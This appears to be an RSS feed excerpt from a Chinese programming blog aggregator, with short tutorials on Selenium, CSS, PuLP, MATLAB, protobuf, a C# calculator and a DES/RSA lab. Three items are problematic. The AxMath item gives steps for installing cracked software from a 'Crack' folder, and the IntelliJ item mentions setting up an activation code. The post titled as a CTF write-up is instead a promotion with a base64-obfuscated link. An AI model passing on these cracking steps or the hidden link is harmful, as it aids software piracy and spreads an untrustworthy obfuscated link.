      <description>一、Selenium库webdirver类 1、获取cookie，driver.get_cookies() 报错信息：&#xA;说明是驱动问题， 驱动和浏览器不匹配，且提示不要用64位ie驱动ie10or11，即使是在64位的电脑上。&#xA;IE驱动包下载地址：&#xA;https://github.com/SeleniumHQ/selenium/wiki/InternetExplorerDriver&#xA;下载替换IEDriverServer.exe，ok！&#xA;然后将获取的cookies转换:&#xA;cookie = [item[&#34;name&#34;] + &#34;=&#34; + item[&#34;value&#34;] for item in cookies ] cookiestr = &#39;;&#39;.join(item for item in cookie) headers_cookie ={ &#34;Cookie&#34;: cookiestr # 通过接口请求时需要cookies等信息 } response = requests.post(url, data=body, headers=headers_cookie) 这样就可以在做UI自动化的时候，通过接口获取到数据来进行相关测试。&#xA;获取包含选中元素的HTML：get_attribute(&#39;outerHTML&#39;)&#xA;获取元素内的全部HTML：get_attribute(&#39;innerHTML&#39;)&#xA;获取元素标签的内容：get_attribute(‘textContent’)&#xA;元素没找到返回&amp;lt;class &#39;NoneType&#39;&amp;gt;&#xA;2、获取请求headers， # 获取请求头信息 agent = driver.execute_script(&#34;return navigator.userAgent&#34;) print(agent) # 查看请求头是否更改。 注意：由于IE浏览器安全设置，driver.page_source为空，By.ID等无法定位元素&#xA;改用FireFox，使用driver.find_element定位元素需要等待页面加载结束，使用time.sleep(2)等待&#xA;from selenium import webdriver #导入驱动模块 from selenium.webdriver.common.by import By import time driver =webdriver.</description>
    </item>
    <item>
      <title>python中daemon的含义以及进程与线程</title>
      <link>https://bchobby.github.io/posts/d1395bdf031b1bebba04ed327a1a5ce2/</link>
      <pubDate>Mon, 12 Sep 2022 19:31:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1395bdf031b1bebba04ed327a1a5ce2/</guid>
      <description>一、关于daemon&#xA;python线程的daemon选项作用 ：daemon是守护的意思,当daemon赋值为True时,进程不会等到线程的结束,进程一结束,线程也会结束;当daemon赋值为False时,进程会等线程执行结束再退出。打个比方,daemon为False,就相当于领导等员工活干完了,才下班;daemon为True,就相当于领导一走,员工也马上撤了,如果不设置,默认领导是会等员工再走的。&#xA;二、关于进程与线程&#xA;线程定义：&#xA;1.线程是操作系统中能够进行运算调度的最小单位。它被包含在进程之中，是进程中的实际运作单位。&#xA;2.一个线程指的是进程中一个单一顺序的控制流。&#xA;3.一个进程中可以并发多条线程，每条线程并行执行不同的任务。&#xA;进程定义：&#xA;1，程序：我们编写的程序用来描述进程要完成哪些功能以及如何完成。&#xA;2，数据集：数据集则是程序在执行过程中需要的资源，比如图片、音视频、文件等。&#xA;3，进程控制块：进程控制块是用来记录进程的外部特征，描述进程的执行变化过程，系统可以用它来控制和管理进程，它是系统感知进程存在的唯一标记。&#xA;二者区别：&#xA;1、运行方式不同&#xA;进程不能单独执行，它只是资源的集合。&#xA;进程要操作CPU，必须要先创建一个线程。&#xA;所有在同一个进程里的线程，是同享同一块进程所占的内存空间。&#xA;2、关系&#xA;进程中第一个线程是主线程，主线程可以创建其他线程;其他线程也可以创建线程;线程之间是平等的。&#xA;进程有父进程和子进程，独立的内存空间，唯一的标识符：pid。&#xA;3、速度&#xA;启动线程比启动进程快。&#xA;运行线程和运行进程速度上是一样的，没有可比性。&#xA;线程共享内存空间，进程的内存是独立的。&#xA;4、创建&#xA;父进程生成子进程，相当于复制一份内存空间，进程之间不能直接访问&#xA;创建新线程很简单，创建新进程需要对父进程进行一次复制。&#xA;一个线程可以控制和操作同级线程里的其他线程，但是进程只能操作子进程。&#xA;5、交互&#xA;同一个进程里的线程之间可以直接访问。两个进程想通信必须通过一个中间代理来实现。&#xA;进程与线程复制自：&#xA;原文链接：https://blog.csdn.net/weixin_46837674/article/details/114294502</description>
    </item>
    <item>
      <title>新手小白一行代码快速生成HTML代码块</title>
      <link>https://bchobby.github.io/posts/7d656f5c4996f6ffc760f97c80fbee28/</link>
      <pubDate>Mon, 12 Sep 2022 18:27:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d656f5c4996f6ffc760f97c80fbee28/</guid>
      <description>1、HTML下有head和body标签 html&amp;gt;head+body 2、HTML下有head和body，head下有title和meta&#xA;html&amp;gt;head&amp;gt;title+meta^body 这里的body和head是同一级别 所以要从meta这一层中跳出 意思就是：html下有head，head下有title和meta ，但是我要在head后边再写一个body，&#xA;那就要让body从meta这层中跳出，回到head层&#xA;3、如果小白不会“跳”，那还有下边的方法&#xA;html&amp;gt;(head&amp;gt;title+meta)+body 4、练习&#xA;html&amp;gt;(head&amp;gt;meta+title)+(body&amp;gt;video+div*2+button*11)+script html&amp;gt;head&amp;gt;meta+title^body&amp;gt;div*2+video+button*11^script 5、元素关系&#xA;child 子元素&#xA;sibling 兄弟元素&#xA;parent 父元素&#xA;parents 祖父元素&#xA;以上图代码为例&#xA;body是p的父元素&#xA;a是p的子元素&#xA;head和body是兄弟元素&#xA;body是a的祖父元素</description>
    </item>
    <item>
      <title>Idea修改了.vmoptions文件导致 Idea 无法启动</title>
      <link>https://bchobby.github.io/posts/c626f5a48956cb177f00e8d4e9c6d290/</link>
      <pubDate>Mon, 12 Sep 2022 17:04:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c626f5a48956cb177f00e8d4e9c6d290/</guid>
      <description>解决因为修改IDEA中的.vmoptions中的配置信息导致IDEA无法启动的现象 刚刚自己在弄IDEA激活码时，需要修改IDEA菜单中的 Help -&amp;gt; Edit Custom VM Options 文件中的路径，修改完之后，重启后就打不开IDEA了，真的很懵啊，然后我参考了一个比较好的解决方案，就是下面这个博客-----&amp;gt;Idea修改了.vmoptions文件导致 Idea 无法启动的解决方案&#xA;下面的内容是我自己的理解：&#xA;1、现象 在IDEA的菜单上help-&amp;gt;Edit Custom VM Options菜单下，修改了.vmoptions配置信息，重启后没有反应，尽管重启多次也无法解决。&#xA;2、解释 在修改文件的时候，配置信息写的不正确。在IDEA的bin目录下（这个得找到IDEA的位置），有 idea64.exe.vmoptions 或 idea.exe.vmoptions 配置文件（不要直接修改），修改了，在idea已经启动着的情况下，下次加载也不会去加载这个文件。&#xA;问题也就出现在这个地方，idea的vm配置数据与配置文件的不一致，导致无法正常启动。&#xA;3、正解 不要直接修改bin目录下的 idea64.exe.vmoptions 或 idea.exe.vmoptions 文件&#xA;使用IDEA 自带菜单中的 Help -&amp;gt; Edit Custom VM Options 来进行参数个性化配置。&#xA;4、解决 idea启动之后，会生成一个临时生成文件，需要找出来，然后删除掉。&#xA;例如我本地临时生成文件的位置是：&#xA;C:\Users\admin（这个用户名不同，其他都差不多）\AppData\Roaming\JetBrains\IntelliJIdea2021.2（一般来说都除了admin不同，其他都是一样的，如果你们有问题，可以照着这个路径来，应该不会有错，或者按照全局搜索也行）&#xA;具体在哪个位置可以全局搜索下vmoptions即可，大胆删，不会有事，哈哈，每次总结，对自己以后的学习有帮助，当我们下次遇到这个问题时，就可以快速解决了，或者，别人有需要的时候就可以帮忙了，还有不懂得咱们可以讨论</description>
    </item>
    <item>
      <title>电影票房预测-kaggle项目Python项目</title>
      <link>https://bchobby.github.io/posts/674d9368871e2a9ce238108412863976/</link>
      <pubDate>Mon, 12 Sep 2022 16:45:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/674d9368871e2a9ce238108412863976/</guid>
      <description>研究问题：如何根据电影上映前的一些信息来预测出该电影的票房。&#xA;数据来源&#xA;数据主要是电影数据库中的 7000 多部过去电影的元数据。提供的数据信息包括演员，工作人员，情节关键词，预算，海报，发布日期，语言，制作公司和国家等。&#xA;数据导入 还是之前一模一样的操作&#xA;#数据导入 import pandas as pd df = pd.read_csv(&#34;https://labfile.oss.aliyuncs.com/courses/1363/TMDB.csv&#34;) df.head() #数据查看 df.shape df.info() df.describe() df.describe(include=[&#39;O&#39;]) #查看一下票房前10的电影 df.sort_values(by=&#39;revenue&#39;, ascending=False).head(10)[ [&#39;title&#39;, &#39;revenue&#39;, &#39;release_date&#39;]] 数据预处理 数据预处理：数据清洗+填充空缺值等&#xA;上映时间&#xA;release_date为电影的上映时间列，对该列进行处理。将时间中的年、月、日这些信息都分别提取出来。&#xA;def date_features(df): df[&#39;release_date&#39;] = pd.to_datetime(df[&#39;release_date&#39;]) # 转换为时间戳 df[&#39;release_year&#39;] = df[&#39;release_date&#39;].dt.year # 提取年 df[&#39;release_month&#39;] = df[&#39;release_date&#39;].dt.month # 提取月 df[&#39;release_day&#39;] = df[&#39;release_date&#39;].dt.day # 提取日 df[&#39;release_quarter&#39;] = df[&#39;release_date&#39;].dt.quarter # 提取季度 return df df = date_features(df) df[&#39;release_year&#39;].head() 检查是否存在异常值，即电影上映时间超过 2019 年，因为收集的数据是 2019 年之前的。</description>
    </item>
    <item>
      <title>css知识点总结</title>
      <link>https://bchobby.github.io/posts/81c739bb21b056fe4066bf62f1cfbf84/</link>
      <pubDate>Mon, 12 Sep 2022 16:12:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81c739bb21b056fe4066bf62f1cfbf84/</guid>
      <description>1.css概述 css是Cascading Style Sheets(级联样式表)&#xA;css是一种样式表语言,用于为HTML文档控制外观,定义布局.&#xA;可将页面的内容与表现形式分离,页面内容存放在HTML文档中,而用于定义白线形式的css在一个.css文件中或HTML文档的某一部分&#xA;HTML如同网页的骨架,css如同修饰骨架的装饰品(样式)&#xA;2.基本语法 1.行内样式表 行内样式表,又称内联样式、行间样式、内嵌样式。是通过标签的style属性来设置元素的样式&#xA;基本语法为:&amp;lt;标签名 style=&#34;属性1:属性值1; 属性2:属性值2; 属性3:属性值3;&#34;&amp;gt; 内容&#xA;&amp;lt;p style=&#34;width: auto;&#34;&amp;gt;行内样式表&amp;lt;/p&amp;gt; 2.内嵌样式表 内嵌式是将css代码集中写在HTML文档中的head头部标签中,并且用style标签定义&#xA;&amp;lt;style&amp;gt; div{ background-color: brown; width: 200px; height: 400px; } &amp;lt;/style&amp;gt; 3.外部样式表 外部样式表是将所有的样式放在一个或多个以.css为扩展名的外部样式表文件中,通过link标签将外部样式表文件的链接到HTML文档中&#xA;使用link（链接）标签 : &amp;lt;head&amp;gt; &amp;lt;link href=&#34;newstyle.css&#34; rel=&#34;stylesheet&#34; type=&#34; text /css&#34;&amp;gt; &amp;lt;style type=&#34; text /css&#34;&amp;gt; &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; 4.各表的优缺点 样式表优点缺点使用情况控制范围行内样式表书写方便没有实现样式和结构相分离较少控制一个标签(少)内部样式表部分结构和样式相分离没有彻底分离较多控制一个页面(中)外部样式表完全实现结构和样式相分离需要引入最多,强烈推荐控制整个站点(多) 3.选择器 标签选择器:通过标签选择器可以选择页面中的所有指定标签 语法:标签名{}&#xA;div{ background-color: brown; width: 200px; height: 400px; } 类选择器:通过标签的class属性值选中一组标签 语法: .class属性值{}&#xA;.box-1{ float: left; color: red; font-weight: 200; font-size: 30px; padding: 25px 25px; height: 50px; text-align: center; } id选择器:通过标签的Id属性值选中唯一的一个标签 语法: #id属性值{}</description>
    </item>
    <item>
      <title>pulp求解简单线性规划问题</title>
      <link>https://bchobby.github.io/posts/e562f917620add570e719e323034b0de/</link>
      <pubDate>Mon, 12 Sep 2022 15:18:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e562f917620add570e719e323034b0de/</guid>
      <description>文章目录 pulp非整数约束整数型约束求解状态的一些解释例题1例题2 参考 pulp PULP是一个线性规划(Linear Programming, LP)问题求解库。它将优化问题描述为数学模型，生成MPS或者LP文件，然后调用LP求解器，如CBC、GLPK、CPLEX、Gurobi等来进行求解。&#xA;安装完pulp库默认就拥有了CBC求解器，其他求解器需要额外安装才能使用。&#xA;pip install pulp 即可&#xA;看一个例题即可：&#xA;非整数约束 from pulp import LpVariable, LpMaximize, LpProblem, value, LpStatus # 第一个参数为这个问题取名字，第二个参数表示求目标函数的最大值（LpMinimize） prob = LpProblem(&#39;max_z&#39;, sense=LpMaximize) # name为变量名， lowBound为下边界，None为没边界 x1 = LpVariable(name=&#39;x1&#39;, lowBound=0, upBound=None) x2 = LpVariable(&#39;x2&#39;, 0, None) x3 = LpVariable(&#39;x3&#39;, 0, None) # 设置目标函数 prob += 2*x1+3*x2-5*x3 # 约束条件 prob += x1+x2+x3 == 7 prob += 2*x1-5*x2+x3 &amp;gt;= 10 prob += x1+3*x2+x3 &amp;lt;= 12 status = prob.</description>
    </item>
    <item>
      <title>c# 制作一个简易计算器</title>
      <link>https://bchobby.github.io/posts/a3e1d7ce634442d0ee86cf8423873dcc/</link>
      <pubDate>Mon, 12 Sep 2022 14:22:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3e1d7ce634442d0ee86cf8423873dcc/</guid>
      <description>显示如下：&#xA;代码：&#xA;using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace june3 { public partial class Form1 : Form { int zhi;//加减乘除号的选择 double a, b;//输入前和输入后的值 double c;//等于DEL时上一个数值 public Form1() { InitializeComponent(); } /*—————— 加减乘除按钮和清零，小数，DEL按钮的功能 ——————*/ private void b_qing_Click(object sender, EventArgs e)//清零功能 { text1.Text = &#34;0&#34;; } private void b_xiaoShu_Click(object sender, EventArgs e)//小数功能 { if (text1.Text.Contains(&#34;.&#34;))//Contains: 判断某一个字符串中是否包含某一个字符串，结果是布尔类型 { } else { text1.</description>
    </item>
    <item>
      <title>Vue报错：Error in render: “TypeError: Cannot read properties of null (reading ‘name‘)“</title>
      <link>https://bchobby.github.io/posts/6a5a7fa6b2d5db3e214380eb68e3f541/</link>
      <pubDate>Mon, 12 Sep 2022 11:16:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a5a7fa6b2d5db3e214380eb68e3f541/</guid>
      <description> 报错：Error in render: &#34;TypeError: Cannot read properties of null (reading &#39;name&#39;)&#34; </description>
    </item>
    <item>
      <title>文本文件的读取&#43;操作</title>
      <link>https://bchobby.github.io/posts/c439f1530d8071272a66a0d1973c8230/</link>
      <pubDate>Mon, 12 Sep 2022 09:17:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c439f1530d8071272a66a0d1973c8230/</guid>
      <description>文本文件的读取一般使用如下三个方法：&#xA;1.read([size]):从文件中读取size个字符，并作为结果返回，如果没有size参数，则读取整个文件，读取到文件末尾，会返回空字符串&#xA;2.readline():读取一行内容作为结果返回，读取到文件末尾，会返回空字符串&#xA;3.readlines():文本文件中，每一行作为一个字符串存入列表中，返回该列表&#xA;操作：&#xA;# 读取一个文件前四个字符 with open(r&#34;b.txt&#34;, &#39;r&#39;, encoding=&#34;GBK&#34;)as f: print(f.read(4)) # 文件较小，一次将文件内容读入到程序中 with open(r&#34;b.txt&#34;, &#39;r&#39;, encoding=&#34;GBK&#34;)as f: print(f.read()) with open(r&#34;b.txt&#34;, &#39;r&#39;, encoding=&#34;GBK&#34;)as f: print(f.readline()) with open(r&#34;b.txt&#34;, &#39;r&#39;, encoding=&#34;GBK&#34;)as f: print(f.readlines()) # 使用迭代器（每次返回一行）读取文本文件： with open(r&#34;b.txt&#34;, &#39;r&#39;, encoding=&#34;GBK&#34;)as f: for line in f: print(line) # 按行读取一个文件 with open(r&#34;b.txt&#34;, &#39;r&#39;, encoding=&#34;GBK&#34;)as f: while True: line = f.readline() if not line: break else: print(line, end=&#39;&#39;) # 为文本文件每一行的末尾添加行号 with open(&#34;b.txt&#34;, &#39;r&#39;, encoding=&#34;</description>
    </item>
    <item>
      <title>【CTF】buuctf web 详解（持续更新）</title>
      <link>https://bchobby.github.io/posts/e8ad404fb77f1fd65410b34559a81057/</link>
      <pubDate>Mon, 12 Sep 2022 04:41:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8ad404fb77f1fd65410b34559a81057/</guid>
      <description>最后 深知大多数初中级Java工程师，想要提升技能，往往是自己摸索成长或者是报班学习，但对于培训机构动则近万的学费，着实压力不小。自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！&#xA;因此收集整理了一份《Java开发全套学习资料》送给大家，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友，同时减轻大家的负担。&#xA;小编已加密：aHR0cHM6Ly9kb2NzLnFxLmNvbS9kb2MvRFVrVm9aSGxQZUVsTlkwUnc==出于安全原因，我们把网站通过base64编码了，大家可以通过base64解码把网址获取下来。</description>
    </item>
    <item>
      <title>Android Studio 项目引入ProtoBuf(附序列化与反序列化)</title>
      <link>https://bchobby.github.io/posts/f099cc89fca5b8ea116192eed02a83d6/</link>
      <pubDate>Mon, 12 Sep 2022 02:11:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f099cc89fca5b8ea116192eed02a83d6/</guid>
      <description>一直听说protobuf的优点 体积小 速度快 是这个的几十倍 那个的上百倍，一直以来的项目场景也很少遇到需要如此高性能的通信，但是也需要研究一下，万一哪天要写个 IM 呢，神器 就是神器。&#xA;首先呢，要去 https://github.com/protocolbuffers/protobuf/ 下载源码和编译器 （根据自己的环境）&#xA;protobuf-3.21.5 protoc-21.5-win64&#xA;因为后面需要用到mvn package 去编译项目，所以提前配置好 maven，这里就不说了。&#xA;把 protoc.exe 复制到 \protobuf-3.21.5\src 目录下&#xA;打开CMD 进入 protobuf-3.21.5\java 目录下， 输入命令: mvn package 也可以直接进入此文件夹中按住shift+鼠标右键选择在此处打开命令窗口再输入命令，然后要等待一会，最终出现了成功的窗口 如图&#xA;生成的文件在 protobuf-3.21.5\java\core\target 中，我的叫protobuf-java-3.21.5.jar 如图：&#xA;这个jar包就是我们想要的东西了，把它放到你工程的libs下面就可以了，别忘了让工程添加依赖！&#xA;下面就可以把proto变成JAVA文件了！随便写了一个proto 如下图： 然后运行命令 protoc.exe --java_out=protoout person.proto 第一个路径是要输入到的目录，第二个路径是protobuf的文件（这里我都放在一个目录下了）&#xA;执行后看结果&#xA;已经成功输出了！然后把这个文件放入工程里吧，要跟上面proto里包的目录一致！</description>
    </item>
    <item>
      <title>c#中 .length和length()的差别</title>
      <link>https://bchobby.github.io/posts/250a68b488ec239426e9b74f0888506d/</link>
      <pubDate>Sun, 11 Sep 2022 23:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/250a68b488ec239426e9b74f0888506d/</guid>
      <description>.leng是成员属性 ，而length()是Array中的一个成员方法&#xA;在c#中用.length对数组使用得到的是元素总数，对字符串使用得到的字符串长度。&#xA;在c#中不接受直接用length()方法</description>
    </item>
    <item>
      <title>数学编辑器——AxMath</title>
      <link>https://bchobby.github.io/posts/0adca90b8fc3f11b282bdef1e2b74fc0/</link>
      <pubDate>Sun, 11 Sep 2022 19:14:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0adca90b8fc3f11b282bdef1e2b74fc0/</guid>
      <description> 软件下载地址：&#xA;链接：https://pan.baidu.com/s/1RSjyVJHy-7MWLEU7jZ1PLA 提取码：2022&#xA;1.解压后双击安装： 接受，&#xA;选择安装目录，（记一下这个目录，后面会用到） 2. 复制下载包里Crack中的安装文件 将Crack目录的文件替换到安装目录&#xA;以下为安装目录：&#xA;将上面的exe文件复制替换到这里就好了。&#xA;3.安装成功 </description>
    </item>
    <item>
      <title>【开学征文】新生入学，盘点一下我的大学计划</title>
      <link>https://bchobby.github.io/posts/73f07bbf1bb2bd59f88c31f822080403/</link>
      <pubDate>Sun, 11 Sep 2022 16:47:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73f07bbf1bb2bd59f88c31f822080403/</guid>
      <description>#新学期，新FLAG#&#xA;目录&#xA;一、前言&#xA;二、行业环境分析&#xA;三、自我盘点&#xA;四、解决自我盘点中的劣势和缺点&#xA;一、前言 谁都想活的精彩，都希望有一个新奇而又美好的明天，所以一直都在为心中的梦想而努力、而奋斗拼搏。大学生职业规划的另一个解释，就是用我们手中的画笔，描绘出我们心中的蓝图。我们对自己的职业生涯进行规划，就是放飞自己的梦想，去遨游寰宇。远大的理想总是建立在坚实的土地上的，青春短暂，人生易逝。可未来却是掌握在我们自己手中，从现在起，就力争主动，好好规划一下未来的路，去书写心中的梦想。作为当代大学生，若是带着一脸茫然，踏入这个拥挤的社会怎能满足社会的需要，使自己占有一席之地?因此，我试着为自己拟定一份职业规划，为将自己的未来好好的设计一下。漫漫人生，唯有急流勇进，不畏艰险，奋力拼搏，方能中流击水，抵达光明彼岸。大学期间，正是我奋力拼搏的大好时期，因此要有正确的理想和信念，它们是我乘风破浪，搏击沧海的灯塔和动力之源。人无远虑，必有近忧。成大事者，须立长志。&#xA;二、行业环境分析 说说我们现在的就业环境吧，二十一世纪进入信息时代，席卷全球的信息科技给人类的生产和生活方式带来了深刻的变革，信息产业已成为推动国家经济发展的主导产业之一。目前，中国软件产业还处于成长期，其市场潜力还远远没有挖掘出来。2012年左右，中国软件产业将步入成熟期。IT产业作为知识密集、技术密集的产业，其迅猛发展的关键是有一大批从事IT技术创新的人才。一定数量、结构和质量的IT人才队伍是IT产业发展的支撑，一个国家的IT人力资源储备、IT人才培养及使用状况决定着该国IT产业发展的水平和潜力。也可以说，IT产业的竞争就是人才的竞争，高水平的IT人才培养和队伍建设是走向IT产业大国和强国的前提条件。所以，无论是从大的方向讲，还是从小的方面讲，培养和储备高素质的IT人才都显得非常重要。&#xA;市场需要的是计算机专业人才，而很多计算机专业毕业的学生都不能满足市场的需求，所以才会有抱怨计算机专业就业难的说法。解决办法还是靠自己吧，大学四年，不要像上面说的无所事事，对自己的专业有所熟悉并且精通一个方向，相信前途会是美好的。&#xA;三、自我盘点 1、优势盘点：&#xA;小时候的生活条件虽然有些艰苦，却让我养成了不怕吃苦，刻苦奋斗，愈挫愈勇的良好品格。人生漫漫，难免去经历风吹雨打，面对纷繁复杂、竞争激烈，这些品格将永远伴随我，是我取得成功的重要保证，同时也是我人生中一笔弥足珍贵的巨大财富。&#xA;2、劣势盘点：&#xA;有时候不爱接受批评，推卸责任，明明是我的不对，却想法推卸到别人身上。现在虽然不那么严重了，但有时还是会有的。还有因为来自农村，没有经济基础，这决定了我的事业的起点相对而言要低，要做相对较长时间的物质积累，才能去实现心中的种种梦想。而且，到目前为止，还没有任何的工作经验，各类的荣誉证书也太少。而且目前我的专业课也不是很突出，这无疑为今后的求职之路带来一定的阻力。&#xA;3、优点盘点：&#xA;本人活泼开朗，乐观;善于坦诚待人，结交朋友，喜欢助人为乐，善于学习，时刻积累知识;善于组织活动，有一定的领导能力;容易与人相处，合作和适应能力强，喜欢与人共同工作;而且，我口齿伶俐，胆大，动手能力较强做事认真、投入，有毅力、有恒心，能坚持目标，另外有一股不服输的屈脾气。&#xA;4、缺点盘点：&#xA;做事不够细心，精力不够集中，效率不高，态度也不够专注。有时候也比较怀疑自己的能力，面对重大事情总是犹豫不决，于是很多情况下会坐失良机，另外还爱幻想，惰性较大，行动更不上思想。有时候说话过于直率，有时候还会有点霸道，总不能三思而后行，对此我深感悔恨。&#xA;四、解决自我盘点中的劣势和缺点 面对上面的自我分析，我想起自己走过岁月中的点点滴滴，心中不禁有些惭愧。我对自己以往在学业、文体、社团活动中的表现不是很满意。我发现我自己惰性较大，平日里总有些倦怠、懒散，学习、倘若不改正，这很可能会导致我最终庸碌无为。不过还好，我还有改进的机会！&#xA;否则，岂不遗憾终生?</description>
    </item>
    <item>
      <title>备战数学建模1——MATLAB矩阵，二维图、三维图！（超级全面易懂）</title>
      <link>https://bchobby.github.io/posts/58ac5acbea37111ca5cc64626ebdec4e/</link>
      <pubDate>Sun, 11 Sep 2022 16:42:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58ac5acbea37111ca5cc64626ebdec4e/</guid>
      <description>目录 一、矩阵超级基础的内容1.创建一个1行6列的矩阵2.对矩阵中每个元素都加33.plot函数作图。4.多维矩阵与常见运算5.矩阵乘法，和矩阵点乘6.使用矩阵A对方程A*x= b求解7.Matlab的迁就补全（标量非标量，不同维度） 二、Matlab四种常见二维图1.线图2.条形图3.极坐标图4.散点图 三、Matlab三维图1.三维曲面图2.画子图（几个图画在一张画布上） 一、矩阵超级基础的内容 1.创建一个1行6列的矩阵 a =[1 2 3 8 7 4] 2.对矩阵中每个元素都加3 (线代里面只有和规格的才能加减)&#xA;在Matlab里面，如果一个操作数是标量，而另一个操作数不是标量，MATLAB会将该标量隐式扩展到与另一个操作数具有相同的大小&#xA;b=a+3 结果：&#xA;a = 1 2 3 8 7 4 b = 4 5 6 11 10 7 3.plot函数作图。 以索引为横坐标。索引就是该数字在矩阵里是&#34;第几个&#34;&#xA;plot(b) grid on grid on 是添加网格线的意思&#xA;索引为横坐标，数组的值就是函数的纵坐标值&#xA;4.多维矩阵与常见运算 以空格或逗号分隔同一行元素， 分号分隔各行&#xA;常见运算:转置、取逆、求特征值和特征向量&#xA;A = [3 2 1;2 4 1;3 9 2] B = A&#39; %求转置矩阵 [D,V] = eig(A) %特征值 特征向量 E = inv(A) %求逆矩阵 F = A*E %验证结果是否为单位矩阵 结果：</description>
    </item>
    <item>
      <title>基于Springboot的调查问卷管理系统</title>
      <link>https://bchobby.github.io/posts/60371c17c36a6e8b5ea7a25572235909/</link>
      <pubDate>Sun, 11 Sep 2022 15:25:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60371c17c36a6e8b5ea7a25572235909/</guid>
      <description>【毕业设计】基于Springboot的在线调查问卷系统&#xA;主要看视频上的演示吧&#xA;1、在线调查模块 用浏览器打开系统后，使用某个普通用户身份登陆系统，确保已经在“问卷管理页面”使问卷得到“启用”，且“问卷权限分配”将对应调查对象添加成功后，在问卷首页通过调查范围的用户登陆后可进入该问卷进行答卷，非范围内的用户无法答卷，即使获取了该问卷的URL，也会显示没有权限填写问卷（问卷只能提交一次，已完成的问卷不会继续出现在问卷首页）。&#xA;问卷作答时，对于选项类问题，多选题选择数量上限有条件限制；对于文本类问题，有文本字数限制。对于数字类问题，验证输入的数字是否超出范围、小数点位数以及文本框内只能输入数字。&#xA;问卷提交时，对必答题进行检测，确定所有必答题都已回答，对多选题的下限进行检查，确定符合下限要求，对选项类问题中的“其他”进行检测，确定“其他选项的文本框内有内容”，才能提交成功，否则弹出提示框提示问卷未完成，无法交卷。&#xA;2、问卷管理模块 管理员登陆系统后，可以点击首页的管理按钮进入问卷管理页面（管理员只能管理自己创建的问卷，超级管理员可以管理所有的问卷），管理员在管理界面可以进行问卷调查的时间控制、问卷的权限分配、问卷的新增和更新及管理问卷所属问题的具体信息的操作。&#xA;问卷新增成功后默认不启用，确定问卷中已有编辑问题且分配了权限则可以启用问卷，如果问卷未编辑问题且没有分配权限则无法启用问卷并弹出提示框。&#xA;3、问题管理模块 在问卷管理界面，点击问卷名称即可对相应的问卷页面进行操作，启用状态的问卷编辑页面，只有问卷的统计功能，不能编辑，未启用状态的问卷编辑页面，点击新增按钮，可进行问题的新增操作，可以选择不同的问卷类型，选择问题类型后会出现相应的填写内容；未启用状态下的问卷也可以进行更新，点击要修改的问题，将会出现修改和删除按钮，对问题进行更新或删除。&#xA;4、问题统计模块 问题统计是逐题给与统计信息，鼠标移动到要统计的问题上，将会出现统计按钮，点击统计按钮将会出现统计结果显示，统计类型分为：选项类、文本类。&#xA;针对选项类，给与每个选项的选择人数，同时可以通过点击人数查看哪些人选择该选项，下方生成一个饼状图。&#xA;针对数字类，给予一个柱状图，横轴为数字，纵轴为人数。</description>
    </item>
    <item>
      <title>信息安全技术实验：数据的加密与解密</title>
      <link>https://bchobby.github.io/posts/54770d33329f24f030de04c03a9234b2/</link>
      <pubDate>Sun, 11 Sep 2022 14:46:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54770d33329f24f030de04c03a9234b2/</guid>
      <description>信息安全技术实验：数据的加密与解密 一、实验目的二、实验原理三、实验环境四、实验内容和步骤 一、实验目的 通过对DES和RSA的使用和开发，加深对数据加密算法的理解，掌握对称加密和非对称加密体制的框架。提高对加密和解密原理的认识；学会使用加密和解密软件。&#xA;二、实验原理 密码体制是指实现加密和解密功能的密码方案，从密钥使用策略上，可分为对称密码体制和非对称密码体制两类。非对称密码体制也被称作公钥密码体制。它们的主要差别在于解密时所用的解密密钥能否由加密时采用的加密密钥推导出来。在DES加密过程中，采用的是一系列古典加密的算法中的置换、异或加密、代替等方法经过16轮变换后得到加密的结果，解密的过程是加密的逆过程。&#xA;RSA是一种经典的反对称加密算法，它的加密过程涉及到大数的幂指数运算。到目前为止，还没有找到一种有效的方法，能够在短时间内将一个给定的大数分解成两个素数的乘积。因而可以利用这种数学难题，设计出解密密钥和加密密钥，而且很难从解密密钥推出加密密钥。这个算法的优势在于其安全性得到了数学上的NP问题的保证，具有一定的数学基础。与传统的对称密码算法相比，RSA具有两个明显的优势，首先它为实现数字签名和认证提供了手段，而DES无法实现这一功能；另一方面，在一个具有N个节点的网络中，DES算法进行数据加密时，需要使用N(N-1)/2对密钥，而用RSA算法进行加密时，只需要N对密钥，从而大大减轻了密钥分配和管理的工作量。&#xA;三、实验环境 一台安装Windows 2000/XP的PC机，Visual C++或Win-TC开发环境。&#xA;四、实验内容和步骤 1）从服务器下载DES示例程序，并执行，输入明文、密钥、密文进行加密和解密，可以观察采用不同的密钥进行加密和解密后的结果情况（如图A.1所示），并对实现的代码进行修改和完善。&#xA;2) 从服务器下载RSA示例程序，并执行，通过生成随机数、寻找素数、最后形成密钥对，可以实现对明文和密文的加密和解密（如图A.2），比较对称加密和非对称加密在密钥上的差别，以及解密的安全性。并修改和完善基于MFC的RSA源程序，对其中存在的问题进行改进（例如，改进密码框可以实现自动填充到对应的文本框，改进代码加密解密的时候存在小bug等问题），形成一个RSA的加密/解密演示系统。&#xA;从这个实验可以看出，DES对于大规模的数据加密速度明显快于RSA，但从安全上来讲，RSA 